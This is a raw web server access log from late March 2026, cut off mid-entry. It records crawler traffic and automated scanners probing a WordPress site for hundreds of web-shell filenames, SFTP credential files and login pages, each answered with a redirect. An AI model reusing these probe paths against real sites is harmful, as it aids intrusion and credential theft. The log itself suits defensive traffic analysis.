"-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.91.103.84 - - [30/Mar/2026:09:29:08 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.130.228.73 - - [30/Mar/2026:09:59:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.189.60.188 - - [30/Mar/2026:09:46:14 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)" 138.68.51.10 - - [30/Mar/2026:10:45:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 138.68.51.10 - - [30/Mar/2026:10:45:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 170.106.84.136 - - [30/Mar/2026:10:45:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 176.65.132.19 - - [30/Mar/2026:12:06:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 31.13.127.51 - - [30/Mar/2026:15:09:30 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 46.101.229.48 - - [30/Mar/2026:15:23:07 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 157.48.81.44 - - [30/Mar/2026:13:24:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0" 46.105.39.50 - - [30/Mar/2026:12:58:58 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 46.105.39.50 - - [30/Mar/2026:12:58:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 43.153.135.208 - - [30/Mar/2026:14:47:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 167.94.146.56 - - [30/Mar/2026:15:29:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 49.51.243.156 - - [30/Mar/2026:15:26:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 176.65.132.19 - - [30/Mar/2026:16:18:33 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://t.co/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:120.0) Gecko/20100101 Firefox/120.0" 4.205.211.88 - - [30/Mar/2026:20:32:34 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 106.63.26.6 - - [30/Mar/2026:20:34:38 +0300] "GET /sitemap.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 4.205.211.88 - - [30/Mar/2026:20:35:50 +0300] "GET /r3grt7.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:36:03 +0300] "GET /phina.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:37:52 +0300] "GET /ws50.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:39:55 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:42:54 +0300] "GET /wgift1.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:43:17 +0300] "GET /xper1.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:43:29 +0300] "GET /gelio1.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:44:33 +0300] "GET /cc13.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:45:23 +0300] "GET /north1.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:45:51 +0300] "GET /caiij.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:46:02 +0300] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:47:55 +0300] "GET /wp-admin/maint/dtyh.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:48:17 +0300] "GET /wta.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:51:16 +0300] "GET /utky.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:27:12 +0300] "GET /y.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:27:49 +0300] "GET /zfe.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:28:21 +0300] "GET /wp-asudo.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:30:52 +0300] "GET /vvedr.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:31:56 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:31:58 +0300] "GET /Jcrop.php HTTP/1.1" 301 795 "-" "-" 124.156.225.181 - - [30/Mar/2026:19:16:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.77.107.222 - - [30/Mar/2026:19:22:07 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 103.77.107.222 - - [30/Mar/2026:19:22:15 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 43.157.67.70 - - [30/Mar/2026:20:04:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 35.202.39.253 - - [30/Mar/2026:20:17:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" 144.31.137.23 - - [30/Mar/2026:20:18:38 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4.205.211.88 - - [30/Mar/2026:20:31:55 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:32:44 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:33:09 +0300] "GET /vvvb.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:34:54 +0300] "GET /fetch.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:36:19 +0300] "GET /fs6.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:37:23 +0300] "GET /ws79.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:40:01 +0300] "GET /eee.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:41:27 +0300] "GET /n1GiO.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:42:06 +0300] "GET /gec.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:42:38 +0300] "GET /rmpoa.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:43:35 +0300] "GET /v2.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:48:10 +0300] "GET /dtyh.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:49:08 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:49:58 +0300] "GET /wp-true.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:50:32 +0300] "GET /tx79.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:52:54 +0300] "GET /ad.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:26:27 +0300] "GET /sw.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:28:35 +0300] "GET /wp-temp.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:29:05 +0300] "GET /CDX2.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:29:16 +0300] "GET /CDX1.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:32:25 +0300] "GET /f6.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:33:19 +0300] "GET /x12.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:33:31 +0300] "GET /zcsu.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:33:46 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 106.63.26.149 - - [30/Mar/2026:20:34:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 4.205.211.88 - - [30/Mar/2026:20:35:25 +0300] "GET /tbute.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:38:25 +0300] "GET /ws40.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:38:48 +0300] "GET /shellerr.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:39:29 +0300] "GET /wtiiy.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:40:31 +0300] "GET /xda.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:41:34 +0300] "GET /pLdK1.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:45:15 +0300] "GET /albin.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:45:36 +0300] "GET /dragonshell.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:47:42 +0300] "GET /wp-admin/maint/wta.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:52:28 +0300] "GET /wdone1.php HTTP/1.1" 301 795 "-" "-" 116.76.79.40 - - [30/Mar/2026:20:59:07 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4315.97 Safari/537.36 Edge/18.18362" 98.71.65.172 - - [30/Mar/2026:21:27:27 +0300] "GET /byrgo.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:30:12 +0300] "GET /Geforce.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:30:44 +0300] "GET /t00l.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:34:11 +0300] "GET /wp-scanner.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:39:16 +0300] "GET /cvz.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:39:45 +0300] "GET /sql.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:41:12 +0300] "GET /save.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:43:57 +0300] "GET /v4.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:44:51 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:46:34 +0300] "GET /lanou.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:47:30 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:49:20 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:51:40 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:52:43 +0300] "GET /xpass.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:27:37 +0300] "GET /abouta.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:29:30 +0300] "GET /zlnckdxn.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:31:32 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:31:32 +0300] "GET /8pewqMTX.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:33:56 +0300] "GET /wp-cxs.php HTTP/1.1" 301 795 "-" "-" 106.63.26.7 - - [30/Mar/2026:20:34:35 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 4.205.211.88 - - [30/Mar/2026:20:36:43 +0300] "GET /kbfr.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:39:01 +0300] "GET /vaza.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:44:11 +0300] "GET /ant.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:44:26 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:44:43 +0300] "GET /bnm.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:45:00 +0300] "GET /ccu.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:46:45 +0300] "GET /eursi.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:48:32 +0300] "GET /ws77.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:50:07 +0300] "GET /byp8.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:50:16 +0300] "GET /tx88.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:50:47 +0300] "GET /max.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:51:55 +0300] "GET /wp-admin/maint/absorption.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:28:50 +0300] "GET /wp-moonka.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:31:08 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:31:46 +0300] "GET /cdkfu.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:31:48 +0300] "GET /IcC7p.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:32:05 +0300] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:32:14 +0300] "GET /xc0252.php HTTP/1.1" 301 795 "-" "-" 106.63.26.14 - - [30/Mar/2026:20:34:30 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 4.205.211.88 - - [30/Mar/2026:20:34:38 +0300] "GET /zz8.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:35:40 +0300] "GET /rovoj.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:37:58 +0300] "GET /ws44.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:38:02 +0300] "GET /ws43.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:41:49 +0300] "GET /llb1J.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:43:03 +0300] "GET /torsa1.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:45:42 +0300] "GET /ggb.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:48:56 +0300] "GET /saorix1.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:49:35 +0300] "GET /gpt-sh.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:52:11 +0300] "GET /wglum1.php HTTP/1.1" 301 795 "-" "-" 27.46.75.4 - - [30/Mar/2026:21:03:53 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4001.146 Safari/537.36 OPR/63.0.3368.43" 98.71.65.172 - - [30/Mar/2026:21:27:59 +0300] "GET /by.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:30:36 +0300] "GET /dichku.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:30:59 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:31:39 +0300] "GET /ddpxi.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:32:49 +0300] "GET /xs.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:34:31 +0300] "GET /24.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:36:34 +0300] "GET /fs7.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:36:52 +0300] "GET /595.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:36:58 +0300] "GET /x1.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:37:39 +0300] "GET /ws78.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:39:36 +0300] "GET /aee.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:39:40 +0300] "GET /sweg.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:40:16 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:40:46 +0300] "GET /roter.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:41:20 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:41:57 +0300] "GET /jeZDu.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:46:09 +0300] "GET /uxijj.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:47:00 +0300] "GET /pas2.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:47:15 +0300] "GET /schal.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:48:46 +0300] "GET /ws86.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:52:04 +0300] "GET /ticket.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:52:20 +0300] "GET /xpwer1.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:52:23 +0300] "GET /yuzuru1.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:53:01 +0300] "GET /h02ugyh.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:26:12 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:26:12 +0300] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:26:57 +0300] "GET /ahutr.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:28:06 +0300] "GET /Cap.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:29:21 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:30:26 +0300] "GET /jlex.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:31:17 +0300] "GET /albin.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:31:17 +0300] "GET /htto.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:31:22 +0300] "GET /xhejulap.php HTTP/1.1" 301 795 "-" "-" 175.6.217.4 - - [30/Mar/2026:19:01:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.205.211.88 - - [30/Mar/2026:20:32:54 +0300] "GET /ws47.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:34:16 +0300] "GET /awh.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:34:45 +0300] "GET /feokc.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:35:01 +0300] "GET /phpmini.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:35:16 +0300] "GET /an7.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:36:11 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:37:07 +0300] "GET /gk.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:37:10 +0300] "GET /ws85.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:37:12 +0300] "GET /ws82.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:37:15 +0300] "GET /ws81.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:38:15 +0300] "GET /ws42.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:38:33 +0300] "GET /ws36.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:38:40 +0300] "GET /vwxbi.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:40:57 +0300] "GET /size.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:42:17 +0300] "GET /OpVq6.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:42:25 +0300] "GET /Q73BO.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:43:46 +0300] "GET /v3.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:46:20 +0300] "GET /rkiea.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:46:26 +0300] "GET /resp.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:49:01 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:49:49 +0300] "GET /bywaf.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:51:01 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:51:27 +0300] "GET /uang.php HTTP/1.1" 301 795 "-" "-" 4.205.211.88 - - [30/Mar/2026:20:51:31 +0300] "GET /wp3.php HTTP/1.1" 301 795 "-" "-" 98.71.65.172 - - [30/Mar/2026:21:26:42 +0300] "GET /fsgdjkl.php HTTP/1.1" 301 795 "-" "-" 45.154.98.56 - - [30/Mar/2026:21:46:31 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 45.90.32.134 - - [30/Mar/2026:22:29:34 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 74.248.144.184 - - [30/Mar/2026:22:11:56 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 158.158.32.196 - - [31/Mar/2026:00:46:51 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 182.42.111.156 - - [31/Mar/2026:01:07:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.16.141 - - [31/Mar/2026:01:28:27 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 49.51.73.183 - - [31/Mar/2026:01:15:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.16.141 - - [31/Mar/2026:01:55:19 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 72.146.16.175 - - [30/Mar/2026:23:03:22 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 170.106.110.146 - - [31/Mar/2026:00:30:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 151.237.187.135 - - [31/Mar/2026:01:48:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.bing.com/" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/118.0.2" 160.30.137.9 - - [31/Mar/2026:02:37:32 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 160.30.137.9 - - [31/Mar/2026:02:37:33 +0300] "GET /wp-admin/ 